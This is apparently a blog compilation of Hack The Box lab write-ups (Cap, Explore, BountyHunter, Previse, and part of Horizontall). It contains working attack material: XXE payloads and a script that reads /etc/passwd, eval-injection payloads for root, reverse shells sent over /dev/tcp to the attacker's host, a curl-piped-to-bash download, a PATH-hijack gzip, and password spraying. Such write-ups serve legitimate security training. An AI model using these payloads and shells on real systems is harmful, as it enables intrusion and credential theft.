Initially, I thought to try and access the FTP but then a radical thought popped into my head, go hard or go home! Let’s go for the (insert sports metaphor). I tried to log in to SSH with the credentials and…. I’m in! Credential reuse is common even among IT professionals. This allowed me to capture the user.txt flag and establish a foothold on the box.

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ ssh [email protected]                                       
The authenticity of host '10.129.229.43 (10.129.229.43)' can't be established.
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
[email protected]:~$ cat user.txt
e88▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓9f2

Authenticated Host Enumeration

First, I downloaded the latest copy of LinPEAS. Next, I span up a Python3 web server in the same directory as LinPEAS. I then used wget on the target box to download LinPEAS from my Python3 web server. Finally, I gave it executable permissions and ran it. As a result, I learnt that Python has the ability to setuid. If Python is owned by root then I should be able to use Python to set my user id to 0 thus giving me root.

Attack Box

Downloading LinPEAS and spawning webserver.

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230402/linpeas.sh

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Target Box

Downloading, changing permissions and executing LinPEAS

[email protected]:~$ wget http://10.10.14.36/linpeas.sh
[email protected]:~$ chmod +x linpeas.sh
[email protected]:~$ ./linpeas.sh
LinPEAS

Cap Privilege Escalation

First things first, I checked to see if Python was owned by root and sure enough it was.

[email protected]:~$ ls -laSH /usr/bin/python3.8                                                                                                                    
-rwxr-xr-x 1 root root 5486384 Jan 27  2021 /usr/bin/python3.8

Next, I started Python imported the os module and used it to set my ID to 0.

Python 3.8.5 (default, Jan 27 2021, 15:41:15) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)

Then I checked to see that it had set me to root by running whoami and id.

>>> os.system('whoami')
root

>>> os.system('id')
uid=0(root) gid=1001(nathan) groups=1001(nathan)

Finally, I spawned a shell and used it to capture the root.txt. flag.

>>> os.system('sh')
# cat /root/root.txt
037▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓06f

Cap Learnings

Cap was a great easy box which I believe I could have solved without a walkthrough. However, I do like reading through walkthroughs and watching IppSec’s video while solving boxes. There is always something new to learn from them. The initial foothold was fun and perfectly demonstrated the dangers of using plaintext FTP. I’m finding it difficult to put into words but it’s also a good example of why it’s important to look at the as a whole. Using one service to disclose information about another service, to then use that information to gain access to the host via another service. A lot of fun.

The privilege escalation was good and in my opinion, is how all easy boxes should be. I discovered it with LinPEAS and immediately had an idea of what I needed to do. Admittedly, I was going to write a script instead of just using Python directly because small brain! Despite not learning a great deal from this box, it did reinforce existing knowledge which I appreciate. Doing something once isn’t enough to be proficient at it so I’m always happy to practise existing skills. I thought this was a really fun box from InfoSecJack but this is the day you will always remember as the day you almost outsmarted Captain Haxez Sparrow.. or something. Thank you and farewell mateys!

Hack The Box Explore Writeup

Explore is an easy Android box created by bertolis on Hack The Box and was released on 25th October 2021. Hello world, welcome to Haxez where today I will be explaining how to root the Android box named explore. This box suggests having basic network and Android enumeration skills and basic Metasploit usage skills. Through rooting this box you will learn basic Android exploitation skills.

Explore Enumeration

After spawning the box, I sent a ping request to ensure that it was online and that I could reach it. Once the box responded, I kicked off a Nmap scan targeting all ports, requesting service versions and running default scripts. As a result, I learnt that ports 2222 for SSH, 40443 for HTTP and 59777 for HTTP were open. Furthermore, port 5555 was showing as filtered but I had absolutely no idea what that was. Interestingly, the banner detection for port 59777 suggested that the service was Bukkit JSONAPI httpd for Minecraft game server. The SSH banner was also showing as Banna Studio.

┌──(kali㉿kali)-[~/HTB/Explore]
└─$ sudo nmap -sC -sV -p- 10.129.231.131 --min-rate 10000 -oA explore
Explore Enumeration

Performing a search for SSH Banana Studio revealed that this was an android box as the results were for Android Apps. Next, I performed a search for “Android port 40443” but didn’t discover much. Finally, I performed a search for “Android port 59777” and the results suggested that the port belonged to a file manager app. Furthermore, the second result was for a CVE on NIST.

Search Results

Visiting the CVE result on NIST reports the following. The ES File Explorer File Manager application through 4.1.9.7.4 for Android allows remote attackers to read arbitrary files or execute applications via TCP port 59777 requests on the local Wi-Fi network. This TCP port remains open after the ES application has been launched once, and responds to unauthenticated application/json data over HTTP.

Exploiting ES File Explorer

I loaded up Metasploit and searched for ES File Explorer and the first result or result 0 was an auxiliary scanner module named es_file_explorer_open_port. I told Metasploit to use this module and then ran the info command which reported back the following. This module connects to ES File Explorer’s HTTP server to run certain commands. The HTTP server is started on app launch and is available as long as the app is open. Version 4.1.9.7.4 and below are reported vulnerable This module has been tested against 4.1.9.5.1.

I configured the remote host and left the default port and default auxiliary action configured. Running the exploit reported back that the name of the device was VMware Virtual Platform. It seemed like the exploit was working. The module has a bunch of options which you can see below.

Metasploit

After going through several different options such as listing files, I decided to look at the pictures. I set the action to LISTPICS and ran the exploit. The results showed that there was a suspiciously named file called creds.jpg. For that reason, I changed the auxiliary action to GETFILE and change the ACTIONITEM to the path and name of the image and then ran the exploit.

msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set ACTION GETFILE
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set ACTIONITEM /storage/emulated/0/DCIM/creds.jpg
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > exploit

Explore Foothold

After downloading the file, I opened it and saw a set of credentials. The credentials appeared to belong to someone called Kristi and their password was, well see for yourself. I made a note of these and tried to SSH to the host with the credentials. Unfortunately, I ran into an error along the way.

creds.jpg

As you can see below, I received the error “no matching host key type found”. After a quick search, I found an Ubuntu forum threat >>HERE<< which solved the problem. I probably should have known this as it was something that came up in an exam recently.

┌──(kali㉿kali)-[~]
└─$ ssh -p 2222 [email protected] -o PreferredAuthentications=password
Unable to negotiate with 10.129.231.131 port 2222: no matching host key type found. Their offer: ssh-rsa

Anyway, appending the Host Key Algorithms argument to my SSH command allowed me to authenticate to the host (after a few incorrect password attempts). Once on the box, I couldn’t find the user.txt file so I started enumerating. I used socket stats to check the listening services and found the 5555 port again. After another search, I learnt that this port is for Android Debug Bridge which I know from my attempts to root Android devices.

socket stats

Explore Privilege Escalation

The Android Debug Bridge should allow me high-privilege access to the device if I can access the service. Therefore, I set up a local port forward through SSH. I had a bit of trouble getting this to work correctly but mostly due to my syntax being incorrect.

┌──(kali㉿kali)-[~]
└─$ ssh -L 5555:localhost:5555 [email protected] -p 2222 -o HostKeyAlgorithms=+ssh-rsa
Password authentication
([email protected]) Password: 
:/ $ 

Next, I had issues connecting to the correct device. I was able to connect to adb ok but when trying to get a shell, I received an error message advising that there was more than one device. I have an emulator set up for another box I’m working on. Anyway, this was another syntax issue which was resolved after a quick search.

┌──(kali㉿kali)-[~]
└─$ adb -s 127.0.0.1:5555 shell
ADB Shell

Now that I could successfully connect to the device, it was time to disconnect and reconnect as root. Running adb root will restart adb and give me root permissions on the device. Once on the device as root, I was able to capture both the user and root flags.

┌──(kali㉿kali)-[~]
└─$ adb -s 127.0.0.1:5555 root 
restarting adbd as root
                                                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ adb -s 127.0.0.1:5555 shell
x86_64:/ # whoami                                                                                                                                           
root
x86_64:/ # cat /storage/emulated/0/user.txt
f32▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓250
x86_64:/ # cat /data/root.txt
f04▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓8c5
x86_64:/ # 

Explore Learnings

This was a nice easy box for first thing on a Monday morning. I ran into a few issues while solving it but nothing too difficult. The initial information-gathering phase was typical as I tend to perform a TCP scan on all ports regardless. The services would have thrown me off a bit had I not known this was an Android device going into it. I liked the initial “exploit” to get files as I remember having that application installed on one of my phones in the past.

The privilege escalation was fun as I got to practise local port forwarding but with a few complications. That took me a few attempts to get the syntax correct due to the host key algorithms. I also learnt how to use ADB from the Linux terminal which I hadn’t done before and how to get root through it. Overall, this was a nice box which taught me a few things about android. Thanks

Hack The Box BountyHunter Writeup

BountyHunter is an easy Linux box created by ejedev for Hack The Box and was released on the 24th of July 2021. Hello world, welcome to Haxez and if you want to know how to hack BountyHunter then, This Is The Way! To complete this box, it is recommended that you know Python and basic Linux. The skills obtained from hacking this box are XXE injection and Source code review.

BountyHunter Enumeration

After spawning the box, I pinged it to ensure that it was up and running. Following that, I performed a Nmap scan to identify listening services and service versions. As a result, I learnt that ports 22 for SSH and 80 for HTTP were open. Furthermore, the box had an Ubuntu operating system and was running Apache 2.4.41. As SSH was unlikely to be the attack vector, I went to take a look at the website.

┌──(kali㉿kali)-[~/HTB/BountyHunter]
└─$ sudo nmap -sC -sV -p- 10.129.95.166 --min-rate 10000 -oA BountyHunter
BountyHunter Nmap

BountyHunter Web Application Enumeration

According to whatweb, the application was built using a combination of Bootstrap, HTML5 and Jquery. Additionally, whatweb verified some factors that Nmap discovered. Not much else was revealed from whatweb so I navigated to the application to investigate further.

┌──(kali㉿kali)-[~/HTB/BountyHunter]
└─$ whatweb -a3 http://10.129.95.166/ -v
BountyHunter Whatweb

The application was a fairly standard modern service information page. Scrolling through the content it appeared to be a website advertising a bug bounty hunting team. There was a contact form at the bottom of the page but it didn’t appear to function. There was also a link to an in-development Bounty Report System that was likely going to be the attack vector. The Bounty Reporting System was being loaded from a PHP file named log_submit.php so I now knew I was now dealing with PHP.

BountyHunter Web Application

Bounty Reporting System

I navigated to the Bounty Reporting System and submitted some test data to see how it was being processed. Initially, I received a message explaining that if the database was ready then the data would have been added. This told me that I probably wasn’t looking at an SQL injection vector.

Bounty Reporting System

Next, I checked the request in Burp to see how it was constructed. As shown below, the user-supplied data was sent as a POST request. Furthermore, the data was base64 encoded and added to the data parameter. Highlighting the base64 encoded data revealed that it was XML. This triggered my Spidey-Sense so I started looking for XML Entity Injection Payloads.

Burp

To test for XXE, I modified the existing XML and defined a new entity called payload. Next, I specified the value of the new entity as “haxez was here”. Finally, I added the payload entity to the title. If the application is vulnerable to XXE then “haxez was here” would be rendered in the title when the application responds.

<?xml  version="1.0" encoding="ISO-8859-1"?><!DOCTYPE replace [<!ENTITY payload "haxez was here"> ]>
		<bugreport>
		<title>&payload;</title>
		<cwe>test</cwe>
		<cvss>test</cvss>
		<reward>test</reward>
		</bugreport>

As you can see from the screenshot below, the value of the payload parameter was rendered in the title thus confirming XXE.

XXE Payload

Exploiting XXE

To make life easier, I stole the Python payload from IppSec’s youtube video and used it to retrieve the contents of the /etc/passwd file. All I need to do now is change the value of the fname variable to the file I wanted and the Python script will retrieve it for me. As you can see from the screenshot, it successfully retrieved the /etc/passwd file. If IppSec did a “coding with IppSec” spin-off channel, I would be hooked.

In short, the script takes the XXE payload but replaces the filename with the fname variable. It then encodes it to base64 and sends it to the application. Next, it uses the split function to format the output nicely and then base64 decodes the output. The reason why it needs to base64 decode the output is that we’re first converting the file to base64 to avoid bad characters such as the less than and greater than symbols. Awesome!

Please note that you don’t need to use the Python script, you can perform the XXE through Burp but you will need to encode the payload and decode the output. I’ve included an example below that creates an entity called XXE, reads the /etc/passwd file and then includes the output in the title.

<?xml  version="1.0" encoding="ISO-8859-1"?><!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
		<bugreport>
		<title>&xxe;</title>
		<cwe>test</cwe>
		<cvss>test</cvss>
		<reward>test</reward>
		</bugreport>

However, you can also use the script below.

import requests
import base64

fname = '/etc/passwd'
payload = f"""<?xml  version="1.0" encoding="ISO-8859-1"?><!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={fname}"> ]>
                <bugreport>
                <title>&xxe;</title>
                <cwe>test</cwe>
                <cvss>test</cvss>
                <reward>test</reward>
                </bugreport>""".encode()

payload_b64 = base64.b64encode(payload).decode()
data = { "data": payload_b64 }
r = requests.post("http://10.129.95.166/tracker_diRbPr00f314.php", data=data)
output = (r.text).split('>')[5][:-4]
print(base64.b64decode(output).decode())
/ec/passwd file

I now had a working exploit to retrieve PHP files from the host but going through the output of the files found in Burp didn’t reveal much. I ran gobuster to enumerate the application’s directories and files and found the database configuration file named db.php.

┌──(kali㉿kali)-[~/HTB/BountyHunter]
└─$ gobuster dir -u http://10.129.95.185 -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words.txt -x php,txt,html -o gobuster.out

BountyHunter Foothold

Using the Python exploit, I retrieved the /etc/passwd and db.php files. Looking through the /etc/passwd file, I noticed that only 2 users had a shell (root and development). Analysis of the db.php revealed that the database username was admin and the password was ‘m19RoAU0hP41A1sTsq6K’

db.php file

I added the root and development users to a text file named users.txt and then used crackmapexec to password-spray those users with the database password. This could have also been done with Hydra by supplying a usernames list and the fixed password but crackmapexec is awesome. From the results, I learnt that the developer account was reusing the password for the database. Admittedly, this was a bit overkill but if you had a list of 1000 users, you wouldn’t want to try them all manually.

┌──(kali㉿kali)-[~/HTB/BountyHunter]
└─$ crackmapexec ssh 10.129.95.166 -u users.txt -p 'm19RoAU0hP41A1sTsq6K'
Crackmapexec password spray

I could now log in via SSSH as the development user and grab the user flag.

┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
developme[email protected]:~$ cat user.txt
1d3▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓e7f

Authenticated Host Enumeration

The first thing I ran was sudo -l to see if I could run anything with sudo privileges. This could be an easy win on any box. From the results, I learnt that the development user could run a Python script named ticketValidator.py.

It was time to perform some code analysis. Please note that I’m terrible at Python and will do a horrible job of explaining what the script is doing. At the top of the script, a function named load_file is defined. The function has an if statement to check if the file ends with .md. If not the script will return the error “Wrong file type”. I now know that my file needs to end with .md.

Next, there is a function named evaluate which verifies several parameters within the file. This is a large function so I will break it down step by step.

  • The first line needs to start “# Skytrain Inc”.
  • The second line needs to start “## Ticket to “, and have a space after to.
  • The third line needs to start “__Ticket Code:__”.
  • The next line needs to start “**”.
  • Then there a maths calculation which I will come back to later.
  • If those conditions are met then it’s passed to eval which may allow code execution.

Crafting An Exploit

I attempted to eyeball the exploit but that resulted in a bunch of errors so the next logical step was to steal the source code and run it locally. That way I can debug the payload as I run it through the script. First I created a netcat listener and told it to save all output to a file called ticketValidator.py.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 1337 > ticketValidator.py

Next, I cat the contents of the file on the target host and sent the output to my netcat listener.

[email protected]:~$ cat /opt/skytrain_inc/ticketValidator.py > /dev/tcp/10.10.14.36/1337

I then opened the file with codium and ran it. I supplied the path to my inject.md payload and it produced an error on the line performing the “% 7 — 4” calculation. This was because there is a requirement for a space which you can see with ‘split(“+”)[0]’. As you can see in the terminal window, this didn’t output “hello world” so my payload wasn’t being executed. FYI, I’m terrible at this.

BountyHunter Ticket Validation Reversing

To fix this, I edited the inject.md file and added the plus symbol after 11.

# Skytrain Inc
## Ticket to 
__Ticket Code:__
**11+print("hello world")

Now when I reran the script, it still errored but it executed my payload.

BountyHunter Ticket Validation Reversing 2

Next, I tested for code execution and this is where I struggled a bit. However, the payload below works fine. As you can see from the output, it successfully ran the id command and return our user’s id values. Now, I should be able to change the id command to bash so that when the ticket is processed, it runs bash as root and gives me a root shell.

# Skytrain Inc
## Ticket to 
__Ticket Code:__
**11+eval('11+__import__("os").system("id")')

BountyHunter Privilege Escalation

To elevate my privileges I used the following payload.

# Skytrain Inc
## Ticket to 
__Ticket Code:__
**11+eval('11+__import__("os").system("bash")')

I saved this to a file called inject3.md and then ran the ticketValidator.py script with sudo and specified the inject3.md file. Sure enough, this spawned a bash shell as root and allowed me to capture the root.txt flag.

[email protected]:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
inject3.md
Destination: 
[email protected]:/home/development# cat /root/root.txt
bf2▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓e1e

BountyHunter Learnings

BountyHunter was a fun box and help me understand XML entity injection better. I think I’ve only completed a few boxes that required XXE but I’ve taken long breaks so may have forgotten. I believe that I understand it now and can craft payloads (provided I have notes). However, I’m sure that I will run into another brick wall once I move on to medium boxes and the applications start validating input a bit more. Overall, the foothold was a lot of fun and was well within my current capabilities.

The privilege escalation on the other hand was an entirely different beast. I can say with 100% certainty that I wouldn’t have solved this without a walkthrough. Despite finding the script and recognising that eval equals bad, I wouldn’t have been able to construct the payload. My code analysis skills are nonexistent so trying to identify the specifics required to create a valid ticket would have defeated me. The invalid tickets didn’t help me either although I’m sure they helped others. This isn’t a criticism of the box at all, the box was great. It highlighted an area that I’m struggling with. I hope that exposure will help me improve but at present, I don’t see a path forward without taking a step back and learning to code. I tend to miss the small details like requiring spaces. Anyway, thanks for the box.

Hack The Box Previse Writeup

Previse is an easy Linux box created by m4lwhere on Hack The Box. It was released on the 7th Aug 2021 but I’m going to hack it today. Hello world, welcome to Haxez, where I will I’m going to explain how I hacked Previse. It is recommended that you have basic web exploitation skills, basic password cracking skills and, basic Linux privilege escalation skills. We will learn Execution After Redirect (EAR) abuse, abusing PHP exec() function, hash cracking with Unicode salt and PATH hijacking.

Previse Enumeration

After spawning the box, I sent a ping request to ensure it was online. Following that, I performed a Nmap scan against all ports, requesting service versions and running default scripts. As a result, I learnt that ports 22 for SSH and ports 80 for HTTP were open. Looking at the results I could see that the box’s OS was Ubuntu and that the Apache version was 2.4.29. There was no httponly flag set on the PHPSESSID cookie so It could be stolen with XSS. However, I don’t think that’s part of the box, it’s just an observation.

┌──(kali㉿kali)-[~/HTB/Previse]
└─$ sudo nmap -sC -sV -p- 10.129.95.185 --min-rate 10000 -oA previse
Previse Enumeration

Previse Web Application Enumeration

Since SSH was unlikely to be the attack vector, I visited the web application. Upon visiting the application there was a login form but not much else. I tried to log in with a few different sets of credentials but didn’t have much luck. Next, I ran some automated scans with Nikto and whatweb but didn’t learn much that I could use.

Previse Web Application

Following the Nikto and whatweb scans, I ran gobuster to try and discover any sensitive content. The output of the gobuster scans shows some interesting behaviours. When getting redirected (whether a 301 or a 302), the size of the content changes depending on where you’re being redirected to or from.

┌──(kali㉿kali)-[~/HTB/Previse]
└─$ gobuster dir -u http://10.129.95.185 -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words.txt -x php,txt,html -o gobuster.out
Previse Gobuster

Execute After Redirect

The inconsistent file size on the redirects is being caused by a vulnerability known as an EAR or Execute After Redirect vulnerability. To illustrate, I have captured a request to the root of the application. Usually, one would expect to see a 200 response code and for the index.html or index.php page to load. However, this application attempts to redirect the visitor to the login.php page which produces the 301 or 302 response code. While this isn’t that unusual, the inconsistent redirect file size is. This suggests that content is being loaded during the redirection. As you can see below, the application shows me as being logged in before redirecting me to the login page.

Previse EAR vulnerability

As you can imagine, this is a big information disclosure problem. I can now visit any page I like and retrieve sensitive information that would otherwise be protected by authentication. For instance, if I try visit the accounts.php page that gobuster discovered, I will be redirected to the login page. However, if I go to my Burp history, I can see the accounts page before the redirection takes place.

Previse Accounts Page

Exploiting Execute After Redirect

Information disclosure is great but I can now abuse the EAR vulnerability to change the behaviour of the application. First, I turned intercept on and made a request to /accounts.php in the browser. Next, I told Burp to intercept responses from the server.

Burp Intercept Request Response

After sending the request, I received the redirection page. I change the response code from 302 to 200 so that the redirection never takes place. Finally, I forwarded the request and the accounts page loaded in the browser. I feel like I’m Doctor Strange changing the universe so that nobody knows who Spiderman is.

Change 302 to 200

With the accounts.php loaded in the browser, I attempted to create a new user called haxez with the password of password. I clicked the create user button and as you can see from the Burp screenshot below, the user was successfully created.

Creating An Account

I was then able to log in as the newly created user. This is some mysterious witches’ and wizards’ dark arts time stop magic! This is why I have a huge amount of respect and admiration for good web application hackers. There are so many technologies and quirks to those technologies that they must have studied for a lifetime to be good. Web-hacking witches and wizards, I salute you and you’re magic.

Logged In

Further Enumeration

After logging in to the application, I started poking around. I noticed the files page and saw that it had a backup file of the application. Nmap identified that the webserver was apache, and whatweb identified that the site was written in PHP. Since the site has an authentication mechanism, I can assume that it has a backend database. Furthermore, I can also assume that the site backup may contain the configuration file that allows the application to connect to that database.

Previse Backup File

I downloaded the files and sure enough, there was a config.php file which contained credentials for the database. The username was root and the password was [email protected]!: Immediately, I tried to SSH to the box with the credentials (call me an optimist) but they didn’t work. However, they could come in handy later so I kept them safe.

Previse Foothold

I performed a grep on all files to search for all instances of ‘$_’ as this would show user interactable variables. One of the last lines in the results shows that the file logs.php contains the PHP exec function. The PHP documentation for this function explains that it can be used to execute external programs. Currently, the function is being used to execute a Python script which stores the results in the $output variable. However, I should be able to escape this using a semicolon and execute my own command.

exec function

I visited logs.php and submitted the request. Next, I went to my Burp HTTP history to find the request and forwarded it to the repeater. Following that, I set up my netcat listener on port 9001. Finally, added my reverse shell to the request, URL enoded it and sent it. I received a reverse shell back and was able to run whoami, but then it died. This kept happening after every command.

delim=comma%3b+bash+-c+'bash+-t+>%26+/dev/tcp/10.10.14.36/9001+0>%261'
Reverse Shell Killed

Not knowing why this was happening, I threw a bash script together and hosted it using a Python webserver. Then I modified the original request to curl the file from my host and execute it using bash. The reverse shell was now much more stable.

┌──(kali㉿kali)-[~/HTB/Previse]
└─$ cat shell.sh             
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.36/1337 0>&1

delim=comma%3b+curl+http%3a//10.10.14.36/shell.sh|bash
reverse shell

I upgraded my shell but was unable to capture the user flag.

no flag

Previse Authenticated Host Enumeration

First, I ran socket stats to see what services were listening. As you can see, MySQL was listening on port 3306 and I already had the credentials to access it.

Previse Socket Stats

I logged in to MySQL as the root user and then used the show databases command. From the results, I learnt that there was a database named precise. Furthermore, telling MySQL to use that database and then running the show tables command revealed that there was an accounts table. Finally, I asked MySQL to dump the contents of that table which gave me the hashes for the Previse web application users.

[email protected]:/var/www/html$ mysql -u root -p 
mysql -u root -p
Enter password: [email protected]!:)

mysql> show databases;
mysql> use previse;
mysql> show tables;
mysql> select * from accounts;
Previse Hahes

However, it seems that the creator of this box likes to troll a bit and has included an emoji for salt in the password hash. Fortunately, MySQL can output the contents of a table to base64 which should make it easier to process.

mysql> select TO_BASE64(password) from accounts where id = 1;
select TO_BASE64(password) from accounts where id = 1;
+--------------------------------------------------+
| TO_BASE64(password)                              |
+--------------------------------------------------+
| JDEk8J+ngmxsb2wkRFFwbWR2bmI3RWV1TzZVYXFSSXRmLg== |
+--------------------------------------------------+
1 row in set (0.00 sec)

I copied the base64 encoded data to my localhost and then echoed and piped it to base64 to decode it before appending it to a file called hash.txt

Previse Lateral Movement

As I had now obtained a password hash for the m4lwhere user, I fed it to hashcat to see if I could crack it. Hashcat successfully cracked the hash and revealed that the password was ilovecody112235!

┌──(kali㉿kali)-[~/HTB/Previse]
└─$ hashcat -m 500 hash.txt /usr/share/wordlists/rockyou.txt

After cracking the hash, I successfully switched users to the m4lwhere user and was able to capture the user flag.

[email protected]:/var/www/html$ su - m4lwhere
su - m4lwhere
Password: ilovecody112235!
[email protected]:~$ pwd   
pwd
/home/m4lwhere
m4lwhe[email protected]:~$ cat user.txt
cat user.txt
007▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓5fc

I could also now log in as the m4lwhere user via SSH using password authentication.

Previse Privilege Escalation

Once logged in via SSH, I ran the sudo -l command to see if I had sudo and if so, what I could do with it. The output showed that could run a backup script but the output didn’t look right. For example, if I compare the output of sudo -l from my local machine to the output on the target host, the target host is missing the paths.

┌──(kali㉿kali)-[~]
└─$ sudo -l                                     
[sudo] password for kali: 
Matching Defaults entries for kali on kali:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User kali may run the following commands on kali:
    (ALL : ALL) ALL

[email protected]:~$ sudo -l
[sudo] password for m4lwhere: 
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

I checked the contents of the backup script to see what it was doing. In short, the script was using gzip to compress log files and save them to the /var/backups directory. However, it wasn’t calling gzip using an absolute path. Therefore, I should be able to create my own gzip file and then change my PATH environmental variable so that the script executes my gzip as root.

First, I changed the directory to /tmp and created my gzip file. The new gzip file creates a reverse shell back to my box on port 9003. I then gave it executable permissions

[email protected]:/tmp$ cat gzip
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.36/9003 0>&1
[email protected]:/tmp$ chmod +x gzip

Next, I changed my PATH environmental variable to point to /tmp. However, I buggered this up a bit and couldn’t run other commands until I fixed it. I didn’t include the rest of the binary paths. Fortunately, I was able to set it again with the rest of the paths.

[email protected]:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Finally, I set up a netcat listener on my box and then executed the /opt/scripts/access_backup.sh script as sudo which sent a reverse shell back to my box and allowed me to capture the root flag.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 9003                                  
[sudo] password for kali: 
listening on [any] 9003 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.95.185] 52792
[email protected]:/tmp# cat /root/root.txt
cat /root/root.txt
97f▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓10a
[email protected]:/tmp#

Previse Learnings

This was a great box and probably one of my favourites now. I learnt about a web vulnerability that I hadn’t heard of before. Exploiting that vulnerability felt like I was uncovering some secret ancient forbidden magic. Furthermore, I didn’t know you could just change the status code on a whim to change behaviour but of course, you can.

I enjoyed enumerating the box once I had established a foothold. It was running services that I’m fairly familiar with and comfortable using. I always feel out of my depth when I get on a box and hardly recognise anything. The privilege escalation was fun and allowed me to practise and refine my existing skills. Overall, this was an enjoyable box which taught me something new and allowed me to practise on technologies I’m familiar with, perfect!

Hack The Box Horizontall Writeup

Horizontall is an easy Linux box created by wall99 on Hack The Box and was released on the 28th Aug 2021. Hello world, welcome to haxez where today I will be going through how I hacked Horizontall. To complete this box it is suggested that you have basic Web Enumeration, Linux Enumeration, and SSH Knowledge. The lessons from this box are Source Code Review and Port Forwarding.

Horizontall Enumeration

To ensure that the box was online and that I could talk to it, I sent a ping request. Since the box responded, I performed a Nmap scan against all ports, with default scripts and requested service versions. As a result, I learnt that ports 22 for SSH and 80 for HTTP were open.

Horizontall Nmap

Horizontall Application Enumeration

Navigating to the IP address in my browser, I was redirected to the domain horizontall.htb. However, as this domain name doesn’t resolve through DNS I received an error from Burp.

Horizontall Burp Error

To fix this, I echoed the box’s IP address and domain name into my host’s file. As a result, when visiting the domain name the application loaded as expected. The web application appeared to be a commercial website for a website development company. However, the website wasn’t functional as the links and the contact us form didn’t work.

┌──(kali㉿kali)-[~]
└─$ echo "10.129.234.11 horizontall.htb" | sudo tee -a /etc/hosts
Horizontall Application

Next, I ran whatweb but it didn’t reveal much about the application that Nmap hadn’t already told me. It told me the server was Ubuntu and that the web server was nginx.

┌──(kali㉿kali)-[~]
└─$ whatweb http://horizontall.htb/
Whatweb Horizontall

I ran 2 gobuster scans, 1 to look for directories and 1 to look for virtual hosts but unfortunately, neither produced anything interesting. I think I’m running gobuster incorrectly for virtual hosts. I believe there is an –append-word argument that needs to be added but I get an error when doing that. I will have to look into that this evening.

┌──(kali㉿kali)-[~]
└─$ gobuster vhost -w /media/sf_OneDrive/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://horizontall.htb -o vhostgobuster.txt -t 50
Horizontall gobuster

However, ffuf does find the virtual host. I filtered by a file size of 194 because that was the file size of the generic error response. I’m doing something wrong with gobuster. Since I wouldn’t have found the virtual host, I’m going to ignore these results and continue enumerating. I’m going to search the academy for gobuster this evening.

┌──(kali㉿kali)-[~]
└─$ sudo ffuf -u http://horizontall.htb/ -H "Host: FUZZ.horizontall.htb" -w /media/sf_OneDrive/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fs 194
ffuf vhost brute

Return To The Source

It’s where one must go when they’ve run out of ideas. As you can see below, there were references to Cascading Style Sheet files and Javascript files. I decided to take a look at the Javascript files to see if they contained anything interesting.

Horizontall Page Source

However, the way the browser rendered the code was horrible so I went to https://beautifier.io/ and pasted in the Javascript. Skimming through the code, I noticed a function called getReviews which pointed to the subdomain api-prod.

api subdomain

API Virtual Host Enumeration

After adding the new virtual host to my host file, I navigated to it in my browser. There wasn’t much to look at other than a welcome message.

api-prod Horizontall

I’m pleased to say that gobuster worked for directory brute forcing. It seems there were 3 subdirectories.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://api-prod.horizontall.htb/ -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
API Enumeration

I navigated to the admin directory which rendered a login page. The page revealed that the technology in use was strapi. Next, I visited the reviews page which returned a JSON response from the server showing reviews of the product.

strapi

Following the discovery of the technology, I searched for exploits on Exploit Database and found an RCE. In short, the exploit performs a password reset. It’s written in Python and exploits the vulnerability with the CVE designation CVE-2019-18818. The CVE description explains the following.

strapi before 3.0.0-beta.17.5 mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js.

Therefore, I navigated to the /admin/init endpoint to retrieve the service version to determine whether it was vulnerable. The API reported back that it was version 3.0.0-beta.17.4 which suggested it should be.

Horizontall strapi version

Horizontall Foothold

Don’t you just love it when an exploit just works without having to tinker with it? I copied the code and recreated it locally in a file called exploit.py. Next, I used Python3 to run the code and fed it the URL of the application. Almost immediately, the exploit told me that the password was reset successfully.

┌──(kali㉿kali)-[~/HTB/Horizontall]
└─$ python3 exploit.py http://api-prod.horizontall.htb/
Horizontall Foothold

